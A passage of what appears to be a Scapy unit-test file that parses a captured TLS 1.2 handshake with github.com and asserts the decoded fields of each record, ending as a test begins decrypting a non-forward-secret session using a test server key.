+p3_cert = b'\x16\x03\x03\nu\x0b\x00\nq\x00\nn\x00\x05\xb30\x82\x05\xaf0\x82\x04\x97\xa0\x03\x02\x01\x02\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x1e\x17\r160120000000Z\x17\r170406120000Z0j1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x13\nCalifornia1\x160\x14\x06\x03U\x04\x07\x13\rSan Francisco1\x150\x13\x06\x03U\x04\n\x13\x0cFastly, Inc.1\x170\x15\x06\x03U\x04\x03\x13\x0ewww.github.com0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xfb\xd5\x94\n\n\xe0P\xdc\x0f\xfc\x90\xb7qG\x9f,\x05\xde\x0e\x9a\xbc*\x8f\xd4\xf2\x9f\x08F\xf9\xf2\xd1\x18\xb4#\xa5*\xd2\xdf\x91?\xf9\xc5\xd0\xb2@\xbd\xd6\xbc@v.\x8d\xd8\x1e\r7\x8fz\x90W\xef\xe3\xa2\xc0\x11a\x03F\x0e\xfa\xb37\x0bf|!\x16\x8d\xfe/^.Y\xfec\':\xf3\xeds\xf8Mt\xb3Q\x17u\x9a\xed\x0ck\xcd\xe8\xc1\xea\xca\x01\xacu\xf9\x17)\xf0KP\x9dAdHl\xf6\xc0g}\xc8\xea\xdeHy\x81\x97A\x02\xb7F\xf6^M\xa5\xd9\x90\x86\xd7\x1ehQ\xac>%\xae\'\x11\xb1G4\xb8\x8b\xdeoyA\xd6\x92\x13)\x11\x80\xc4\x10\x17\\\x0clj\x02\xbb\xd0\n\xfc\xd2\x96x\x1d\xb6\xd4\x02\x7f\x1f\x0eR@Sop@\xda\x89)O\x0c\t~\xa3\xec\xc5W\xad\x03\xaa\x91\xedC\\\xf9\xf5[\xe8\xa1\xf0\xbem\x1b\xce-\xabC|p\xdc?\xec\xc9\x11\xf0t\xc9)\xa1P\xd0<)8\xdc\x7fV\xb9\xf8\x1f\x04\xa4^\x9f\xce\xdd\x17\x02\x03\x01\x00\x01\xa3\x82\x02I0\x82\x02E0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14d\xbfD\xb3F\t\x9b\xcfZ\x1dqI\xa2\x04r\x8b\x884\x84#0{\x06\x03U\x1d\x11\x04t0r\x82\x0ewww.github.com\x82\x0c*.github.com\x82\ngithub.com\x82\x0b*.github.io\x82\tgithub.io\x82\x17*.githubusercontent.com\x82\x15githubusercontent.com0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa00\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x020u\x06\x03U\x1d\x1f\x04n0l04\xa02\xa00\x86.http://crl3.digicert.com/sha2-ha-server-g5.crl04\xa02\xa00\x86.http://crl4.digicert.com/sha2-ha-server-g5.crl0L\x06\x03U\x1d \x04E0C07\x06\t`\x86H\x01\x86\xfdl\x01\x010*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x08\x06\x06g\x81\x0c\x01\x02\x020\x81\x83\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04w0u0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0M\x06\x08+\x06\x01\x05\x05\x070\x02\x86Ahttp://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0\x0c\x06\x03U\x1d\x13\x01\x01\xff\x04\x020\x000\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00O\x16\xd1t\xf8>\xa3\x8f~\xf7\xaf\xcf\xfa\xb6\xdd\xa7\x88\x9e\xf8!\xad|(\x14\xb9\xb4\xffg\xd0\xb9\xe2O\x81}\x03\xb4\x9d\xbcU\x80$\x8c\xe5fP\xb8\xb8(\xd9\x0f\xb4\x95\xccb\xb2\x87|\xcf\x16^SH\xf9\xc2\xf8\x90 \xdc\x0e\x96\x7f\xe27\xcfA\xc7uf\r\x1c\xa7M\xee\x02\xaa\x1b\x00\xc0\xea\x0e\xd4Df\x08\t\xac\x00\x90pc\xfa\xcd\xaf\x89\x8a\xdbj|z\xb0k\xa8\xc5\xb4\x9d\x85\xd8S\x93E\xcar>\xa4\xd4\xe3\xa28J\x0f\x82\x08\xf0\xf3U\xf0m\xb21l\x189\xbf\xee\xe3\xe5\x8f\xcd@\x07\x0b\xd0\xe9e\xda\xd6LA\xff[\xafB\xaf\xf2\xb1F\xa1\xacX\xfc)\x80\xcb\xf6Z\xa6\xaf\xf26\x93\xdf\x92q\xa95\xe3:XP\xab::|\xd9\xf7y\x83\x9e\t\xfe\x0f\x90,Y+\x07$Z<\xb5\xd2\xa0\xdaE\xb8\xe1\xc0\x03\x07\x00h\xf6L\xfa\xe2v[\xce\x8f\xfe\xd0\xcb%\xf9\x9b\xcb\xa9\xffU\x12\xf3=_En2\xa0$\x8e\xb7\xa5vo\x0b\x87\xe9\x00\x04\xb50\x82\x04\xb10\x82\x03\x99\xa0\x03\x02\x01\x02\x02\x10\x04\xe1\xe7\xa4\xdc\\\xf2\xf3m\xc0+B\xb8]\x15\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000l1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1+0)\x06\x03U\x04\x03\x13"DigiCert High Assurance EV Root CA0\x1e\x17\r131022120000Z\x17\r281022120000Z0p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xb6\xe0/\xc2$\x06\xc8m\x04_\xd7\xef\nd\x06\xb2}"&e\x16\xaeB@\x9b\xce\xdc\x9f\x9fv\x07>\xc30U\x87\x19\xb9O\x94\x0eZ\x94\x1fUV\xb4\xc2\x02*\xaf\xd0\x98\xee\x0b@\xd7\xc4\xd0;r\xc8\x14\x9e\xef\x90\xb1\x11\xa9\xae\xd2\xc8\xb8C:\xd9\x0b\x0b\xd5\xd5\x95\xf5@\xaf\xc8\x1d\xedM\x9c_W\xb7\x86Ph\x99\xf5\x8a\xda\xd2\xc7\x05\x1f\xa8\x97\xc9\xdc\xa4\xb1\x82\x84-\xc6\xad\xa5\x9c\xc7\x19\x82\xa6\x85\x0f^DX*7\x8f\xfd5\xf1\x0b\x08\'2Z\xf5\xbb\x8b\x9e\xa4\xbdQ\xd0\'\xe2\xdd;B3\xa3\x05(\xc4\xbb(\xcc\x9a\xac+#\rx\xc6{\xe6^q\xb7J>\x08\xfb\x81\xb7\x16\x16\xa1\x9d#\x12M\xe5\xd7\x92\x08\xacu\xa4\x9c\xba\xcd\x17\xb2\x1eD5e\x7fS%9\xd1\x1c\n\x9ac\x1b\x19\x92th\n7\xc2\xc2RH\xcb9Z\xa2\xb6\xe1]\xc1\xdd\xa0 \xb8!\xa2\x93&o\x14J!A\xc7\xedm\x9b\xf2H/\xf3\x03\xf5\xa2h\x92S/^\xe3\x02\x03\x01\x00\x01\xa3\x82\x01I0\x82\x01E0\x12\x06\x03U\x1d\x13\x01\x01\xff\x04\x080\x06\x01\x01\xff\x02\x01\x000\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x0204\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04(0&0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0K\x06\x03U\x1d\x1f\x04D0B0@\xa0>\xa0<\x86:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=\x06\x03U\x1d \x0460402\x06\x04U\x1d \x000*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xb1>\xc3i\x03\xf8\xbfG\x01\xd4\x98&\x1a\x08\x02\xefcd+\xc30\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x18\x8a\x95\x89\x03\xe6m\xdf\\\xfc\x1dh\xeaJ\x8f\x83\xd6Q/\x8dkD\x16\x9e\xacc\xf5\xd2nl\x84\x99\x8b\xaa\x81q\x84[\xed4N\xb0\xb7y\x92)\xcc-\x80j\xf0\x8e \xe1y\xa4\xfe\x03G\x13\xea\xf5\x86\xcaYq}\xf4\x04\x96k\xd3YX=\xfe\xd31%\\\x188\x84\xa3\xe6\x9f\x82\xfd\x8c[\x981N\xcdx\x9e\x1a\xfd\x85\xcbI\xaa\xf2\'\x8b\x99r\xfc>\xaa\xd5A\x0b\xda\xd56\xa1\xbf\x1cnGI\x7f^\xd9H|\x03\xd9\xfd\x8bI\xa0\x98&B@\xeb\xd6\x92\x11\xa4d\nWT\xc4\xf5\x1d\xd6\x02^k\xac\xee\xc4\x80\x9a\x12r\xfaV\x93\xd7\xff\xbf0\x85\x060\xbf\x0b\x7fN\xffW\x05\x9d$\xed\x85\xc3+\xfb\xa6u\xa8\xac-\x16\xef}y\'\xb2\xeb\xc2\x9d\x0b\x07\xea\xaa\x85\xd3\x01\xa3 (AYC(\xd2\x81\xe3\xaa\xf6\xec{;w\xb6@b\x80\x05AE\x01\xef\x17\x06>\xde\xc03\x9bg\xd3a.r\x87\xe4i\xfc\x12\x00W@\x1ep\xf5\x1e\xc9\xb4'
+p4_certstat_ske_shd = b'\x16\x03\x03\x01\xdf\x16\x00\x01\xdb\x01\x00\x01\xd70\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc\x16\x03\x03\x01M\x0c\x00\x01I\x03\x00\x17A\x04\xc3\x9d\x1cD\xcb\x85?dU\x9eg\xc9\x90\xd8\x80N|F\x98\x0cA\x07\xdfg\xa2\xfb_z\xe4\x9b\xf6\x06\xf3L\x82KJ8\x0e\x1a\x13\x97;:\x12\rdeu\xb5\x9f\x8d\xaa\xfc\x0f\xacb\x0e\xadVX\x19\x03u\x06\x01\x01\x00y\x8aQ\x11\x94\x91\x7f\xf7\xa3#o.\x11\x1d\xb3K\xede~0\xfb\xaf\x92\xfb\xfdY\x98n\x17$\xae\xf6\x16\x14\x13J;\x1cm7\xfa;\xc8G\xa6\x1a}{\xc2\xa5\x1b\xc5\x1c\xb5\x86\x18\x18Z\xa71\x86\x0b-\xa7/q\x89+\xc7$\xbb\xf2 \x17\xc8`\xbbt[j\x9f\x83\x88\xc0\x8d\xcf4fu1\xc3\xea:B\r\xc6\xc9\x12jP\x0c- \x17\x17t\x10\x17)e\xbe\xaao\xe5@\xd2\xcc\xa5\x89mRy\xfapc~\xa6\x84\x80\xbc4\xb4B\xcb\x92\x86\xad\xf6`9j\xf0\x8ee\xc0|\xfd\xdb\xde!\xceH\x0e\x9c\xfb\x85#\x9f\xb7\xccT\x96\xe0 \xfet-\xd8yUs\xe7m\x94\x07\xbc]~\x99\xd3\x93\xfb\\\xfc@B\x14w\xce\xe8n\x14\xd4\xcc\x07\xe5\xb5@j\x17IQ\xcfub\xcf\xa2\xde\xcaU\xb3 \x8b\xdb\x10Y\x0cS\xc7\x0b\xd8BP\xfeX!\x17\x94\x80\xedu\xf8M\xa7r\xc3\x04\xf4\xd6\xb7\x99\xd1=\x922\xf9\x0b\x9f\xe7\x1b\x932`15\xef\x16\x03\x03\x00\x04\x0e\x00\x00\x00'
+p5_cke_ccs_fin = b"\x16\x03\x03\x00F\x10\x00\x00BA\x04\xd2\x07\xce\xa9v\xd8\x1d\x18\x9bN\xe1\x83U\x8c\x8f\xd5a\x0f\xe5_\x9d\x0f\x8c\x9dT\xf6\xa9\x18'a\x8fHH@\x0c\xd4D\x801\x92\x07\xf3\x95\xa9W\x18\xfc\xb7J\xe6j\xbb\xac\x0f\x86\xae\n+\xd5\xb9\xdc\x86[\xe7\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\x00\x00\x00\x00\x00\x00\x00\x00\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n="
+p6_tick_ccs_fin = b"\x16\x03\x03\x00\xca\x04\x00\x00\xc6\x00\x00\x04\xb0\x00\xc0c\xccwJ\x00\xdb,B.\x8fv#\xdd\xa9\xaeS\x90S \xb7(^\x0c\xed\n\xaeM\x0bN\xba\xb4\x8a4d\x85\x88 iN\xc9\xd1\xbe\xac\xe2Wb\xc9N\xf3\x85\xbf\xb7j\xa4IB\x8a\x1b\xe4\x8d\x1f\x148%\xd7R3\x0f4\rh\x8f\xccBj\xb5\r\xfa\xc1f\r?f\xc4\x0f_q9\xe1\x07B\x038\xb4}\xbb\xb0\xfc\x0eG\xf2\t&\x13\x98\xcb\xfc\xf6\xf4\xeb\x99!\t]\xe2\xd9-J\xe4\xdbK\xa1\xe5\xf0\t\xdfX\x0c\xb3\r\xf9\x18\xfb}\xd9\nhW1\xfc\x1c\x08DJ,\xa6#\xb0\x15\x16(&\xfdP\x8a%\xeb\xc2\xdd\xd8\xa2/\xbd$\xc3\x14\xfb\xf3\x86\xa3\xceO\x18\x9f\xfdS|'\x11\x02\xc8\xa6eW\xbdo*y\xf3.\xcf\x04\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\xd8m\x92\t5YZ:7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa"
+p7_data = b"\x17\x03\x03\x01\xf6\x00\x00\x00\x00\x00\x00\x00\x01?\x04iy\x00\x04 \\\xd0\xd4\x9eG\x1f\xbf\xa3k\xfe=\xee\xce\x15\xa0%%\x06c}\xf6\xd4\xfb\xa6\xf0\xf6\x0cO\x1c\x9c\x91\xa9\x0b\x88J\xe0z\x94\xcaT\xeb\xc7\xad\x02j\x10\r\xc6\x12\xb9\xb9\x7f<\x84V\xab\x1e\xfc\xe5\x01\xda\xd6G\xf5\xb7\xf2I6\x8b\xc9\xc4a\xd3\x19\xeat\xfc\x9b\xfa\x1e\xe7\x8c\xaa\xb3\xce\xd0\x86G\x9b\x90\xf7\xde\xb1\x8bwM\x93\xa2gS>\xf3\x97\xf1CB\xfb\x8fs\x1e\xff\x83\xf9\x8b\xc0]\xbd\x80Mn3\xff\xa9\xf3)'\xc3S\xc8\xcd:\xbe\xd72B~$\xb2;\xeb+\xa4\xbd\xa9A\xd9 \n\x87\xe9\xe2\xe9\x82\x83M\x19Q\xf2n\x0e\x15\xdf\xb3;0\xdd&R\xb7\x15\x89\xe9O\xd8G7\x7f\xc3\xb8f\xc7\xd3\xc90R\x83\xf3\xd4\x1cd\xe8\xc5\x8d\xe4N(k7\xf0\xb7\xbd\x01\xb3\x9b\x86\xbaC.\x17\x8d\xd0g\xc9\xb1\x01\xfa\x01\xbe\xdbt\xb1u/\x19V\xc6\x08@\xff\xa8n\xe8\xd0\xd6n,\x05\xc9\xc2\xd8g\x19\x03.l\xb4)\xa09\xf9\xe7\x83\x01-\xe8\xf8\xffy\xbf\xf7\xe6\x11\xc5\xf5\x9aG\xb3e \xd85\x0f\x8f\x85H\xea\xc2n\x1eR\xbe\x01\xef\xef\x93\xe7*>\xbd\x84\x8b9HDI\x90\xc4$\x9a\x9aK\x88Ki\n\xa3\xab\xed\x91\xcd\xe8\xb1\xd4\x8e\xbcE\x88\xe8\x05\x16\xd5\xed\x18\x16g>\x04\xd8\x1dB}\x91\x90\xd1\xda\x03\xe1\x972CxtD\x85\xafF|~7D9*U\xad\x0b\xc4#\x06}\xec\xd6\xd3?y\x96\xa4\xb5\xa3\x1d\x1c\xbd\xc9\xc9g\xb12\xc9\x0f\xa1\x03\x12N\x0b\xec\x14\xc9vJ\nM\xa7\xc8h\xd0|(1(\xa3\x98@nH\n\x0b\xa80\x00\x02\xb7\x06Z\xd4M\xdc!AV\xe2\xa7*\xc3\x90U\xee\xd0\xb2\x05\xa3w\xe1\xe2\xbe\x1e\xbe\xd4u\xb1\xa1z\x1e\x1c\x15%7\xdd\xf9\xb9~\x02\xf9s\x0c1\xfb;\xab\xf1\x1e\xaf\x06\x8c\xafe\x00\x15e5\xac\xd7]>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8"
+
+
+= Reading TLS test session - TLS parsing (no encryption) does not throw any error
+# We will need to distinguish between connection ends. See next XXX below.
+t1 = TLS(p1_ch)
+t2 = TLS(p2_sh, tls_session=t1.tls_session.mirror())
+t3 = TLS(p3_cert, tls_session=t2.tls_session)
+t4 = TLS(p4_certstat_ske_shd, tls_session=t3.tls_session)
+
+
+= Reading TLS test session - TLS Record header
+# We leave the possibility for some attributes to be either '' or None.
+assert(t1.type == 0x16)
+assert(t1.version == 0x0301)
+assert(t1.len == 213)
+assert(not t1.iv)
+assert(not t1.mac)
+assert(not t1.pad and not t1.padlen)
+len(t1.msg) == 1
+
+
+= Reading TLS test session - TLS Record __getitem__
+TLSClientHello in t1
+
+= Reading TLS test session - ClientHello
+ch = t1.msg[0]
+assert(isinstance(ch, TLSClientHello))
+assert(ch.msgtype == 1)
+assert(ch.msglen == 209)
+assert(ch.version == 0x0303)
+assert(ch.gmt_unix_time == 0x17f24dc3)
+assert(ch.random_bytes == b'|\x19\xdb\xc3<\xb5J\x0b\x8d5\x81\xc5\xce\t 2\x08\xd8\xec\xd1\xf8"B\x9cW\xd0\x16v')
+assert(ch.sidlen == 0)
+assert(not ch.sid)
+assert(ch.cipherslen == 22)
+assert(ch.ciphers == [49195, 49199, 49162, 49161, 49171, 49172, 51, 57, 47, 53, 10])
+assert(ch.complen == 1)
+assert(ch.comp == [0])
+
+
+= Reading TLS test session - ClientHello extensions
+assert(ch.extlen == 146)
+ext = ch.ext
+assert(len(ext) == 9)
+assert(isinstance(ext[0], TLS_Ext_ServerName))
+assert(ext[0].type == 0)
+assert(ext[0].len == 31)
+assert(ext[0].servernameslen == 29)
+assert(len(ext[0].servernames) == 1)
+assert(ext[0].servernames[0].nametype == 0)
+assert(ext[0].servernames[0].namelen == 26)
+assert(ext[0].servernames[0].servername == b"camo.githubusercontent.com")
+assert(isinstance(ext[1], TLS_Ext_RenegotiationInfo))
+assert(not ext[1].renegotiated_connection)
+assert(isinstance(ext[2], TLS_Ext_SupportedGroups))
+assert(ext[2].groups == [0x17, 0x18, 0x19])
+assert(isinstance(ext[3], TLS_Ext_SupportedPointFormat))
+assert(ext[3].ecpl == [0])
+assert(isinstance(ext[4], TLS_Ext_SessionTicket))
+assert(not ext[4].ticket)
+assert(isinstance(ext[5], TLS_Ext_NPN))
+assert(ext[5].protocols == [])
+assert(isinstance(ext[6], TLS_Ext_ALPN))
+assert(len(ext[6].protocols) == 6)
+assert(ext[6].protocols[-1].protocol == b"http/1.1")
+assert(isinstance(ext[7], TLS_Ext_CSR))
+assert(isinstance(ext[7].req[0], OCSPStatusRequest))
+assert(isinstance(ext[8], TLS_Ext_SignatureAlgorithms))
+assert(len(ext[8].sig_algs) == 10)
+ext[8].sig_algs[-1] == 0x0202
+
+
+= Reading TLS test session - ServerHello
+assert(TLSServerHello in t2)
+sh = t2.msg[0]
+assert(isinstance(sh, TLSServerHello))
+assert(sh.gmt_unix_time == 0x46076ee2)
+assert(sh.random_bytes == b'\x0c\x97g\xb7o\xb6\x9b\x14\x19\xbd\xdd1\x80@\xaaQ+\xc2,\x19\x15"\x82\xe8\xc5,\xe8\x12')
+assert(sh.cipher == 0xc02f)
+assert(len(sh.ext) == 6)
+sh.ext[-1].protocols[-1].protocol == b"http/1.1"
+
+
+= Reading TLS test session - Certificate
+cert = t3.msg[0]
+assert(cert.certslen == 2670)
+assert(len(cert.certs) == 2)
+srv_cert = cert.certs[0][1]
+assert(isinstance(srv_cert, Cert))
+assert(srv_cert.serial == 0x077a5dc3362301f989fe54f7f86f3e64)
+srv_cert.subject['commonName'] == 'www.github.com'
+
+
+= Reading TLS test session - Multiple TLS layers
+cert_stat = t4.msg[0]
+ske = t4.payload.msg[0]
+shd = t4.payload.payload.msg[0]
+isinstance(t4.payload.payload.payload, NoPayload)
+
+
+= Reading TLS test session - CertificateStatus
+assert(isinstance(cert_stat, TLSCertificateStatus))
+assert(cert_stat.responselen == 471)
+cert_stat.response[0].responseStatus == 0
+# we leave the remaining OCSP tests to x509.uts
+
+
+= Reading TLS test session - ServerKeyExchange
+assert(isinstance(ske, TLSServerKeyExchange))
+p = ske.params
+assert(isinstance(p, ServerECDHNamedCurveParams))
+assert(p.named_curve == 0x0017)
+assert(orb(p.point[0]) == 4 and p.point[1:5] == b'\xc3\x9d\x1cD' and p.point[-4:] == b'X\x19\x03u')
+assert(ske.sig.sig_alg == 0x0601)
+ske.sig.sig_val[:4] == b'y\x8aQ\x11' and ske.sig.sig_val[-4:] == b'`15\xef'
+
+
+= Reading TLS test session - ServerHelloDone
+assert(isinstance(shd, TLSServerHelloDone))
+shd.msglen == 0
+
+= Reading TLS test session - Context checks after 1st RTT
+t = shd.tls_session
+assert(len(t.handshake_messages) == 6)
+assert(t.handshake_messages_parsed[-1] is shd)
+assert(t.tls_version == 0x0303)
+assert(t.client_kx_ffdh_params is None)
+assert(t.client_kx_ecdh_params is not None)
+pn = t.server_kx_pubkey.public_numbers()
+x = pkcs_i2osp(pn.x, pn.curve.key_size/8)
+y = pkcs_i2osp(pn.y, pn.curve.key_size/8)
+assert(x[:4] == b'\xc3\x9d\x1cD' and y[-4:] == b'X\x19\x03u')
+assert(t.rcs.row == "read")
+assert(t.wcs.row == "write")
+t.rcs.ciphersuite.val == 0
+
+
+= Reading TLS test session - TLS parsing (with encryption) does not throw any error
+# XXX Something should be done, as for instance the reading of the 1st CCS
+# will mess up the reading state of the other side (even before the 2nd CCS).
+t5 = TLS(p5_cke_ccs_fin, tls_session=t4.tls_session.mirror())
+
+
+= Reading TLS test session - ClientKeyExchange
+cke = t5.msg[0]
+ccs = t5.payload.msg[0]
+rec_fin = t5.payload.payload
+fin = t5.payload.payload.msg[0]
+isinstance(t5.payload.payload.payload, NoPayload)
+assert(isinstance(cke, TLSClientKeyExchange))
+k = cke.exchkeys
+assert(isinstance(k, ClientECDiffieHellmanPublic))
+assert(k.ecdh_Yclen == 65)
+assert(k.ecdh_Yc[:4] == b'\x04\xd2\x07\xce' and k.ecdh_Yc[-4:] == b'\xdc\x86[\xe7')
+
+
+= Reading TLS test session - ChangeCipherSpec
+assert(isinstance(ccs, TLSChangeCipherSpec))
+ccs.msgtype == 1
+
+
+= Reading TLS test session - Finished
+assert(rec_fin.version == 0x0303)
+assert(rec_fin.deciphered_len == 16)
+assert(rec_fin.len == 40)
+assert(rec_fin.iv == b'\x00\x00\x00\x00\x00\x00\x00\x00')
+assert(rec_fin.mac == b'\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n=')
+assert(not rec_fin.pad and not rec_fin.padlen)
+from scapy.layers.tls.record import _TLSEncryptedContent
+assert(isinstance(fin, _TLSEncryptedContent))
+fin.load == b'\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-'
+
+
+= Reading TLS test session - Ticket, CCS & Finished
+t6 = TLS(p6_tick_ccs_fin, tls_session=t5.tls_session.mirror())
+tick = t6.msg[0]
+assert(isinstance(tick, TLSNewSessionTicket))
+assert(tick.msgtype == 4)
+assert(tick.lifetime == 1200)
+assert(tick.ticketlen == 192)
+assert(tick.ticket[:4] == b'c\xccwJ' and tick.ticket[-4:] == b'\xf3.\xcf\x04')
+ccs = t6.payload.msg[0]
+assert(isinstance(ccs, TLSChangeCipherSpec))
+rec_fin = t6.getlayer(4)
+assert(rec_fin.iv == b'\xd8m\x92\t5YZ:')
+assert(rec_fin.mac == b'\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa')
+assert(isinstance(rec_fin.msg[0], _TLSEncryptedContent))
+rec_fin.msg[0].load == b'7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a'
+
+
+= Reading TLS test session - ApplicationData
+t7 = TLS(p7_data, tls_session=t6.tls_session.mirror())
+assert(t7.iv == b'\x00\x00\x00\x00\x00\x00\x00\x01')
+assert(t7.mac == b'>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8')
+assert(not t7.pad and not t7.padlen)
+assert(isinstance(t7.msg[0], _TLSEncryptedContent))
+len(t7.msg[0].load) == 478
+
+= Reading TLS msg dissect - Packet too small
+assert isinstance(TLS(b"\x00"), Raw)
+
+= Reading TLS msg dissect - Wrong data
+from scapy.layers.tls.record import _TLSMsgListField
+assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField("", []), TLS(type=0), '\x00\x03\x03\x00\x03abc'), Raw)
+
+
+###############################################################################
+################## Reading TLS vulnerable test session ########################
+###############################################################################
+
+# These packets come from a session between an s_server and an s_client.
+# We assume the server's private key has been retrieved. Because the cipher
+# suite does not provide PFS, we are able to break the data confidentiality.
+
++ Read a vulnerable TLS session
+
+= Reading TLS vulnerable session - Decrypt data from using a compromised server key
+import os
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../"))
+key = PrivKeyRSA(basedir + "/test/tls/pki/srv_key.pem")
+ch = b'\x16\x03\x01\x005\x01\x00\x001\x03\x01X\xac\x0e\x8c\xe46\xe9\xedo\xda\x085$M\xae$\x90\xd9\xa93\xb7(\x13J\xf9\xc5?\xef\xf4\x96\xa1\xfa\x00\x00\x04\x00/\x00\xff\x01\x00\x00\x04\x00#\x00\x00'
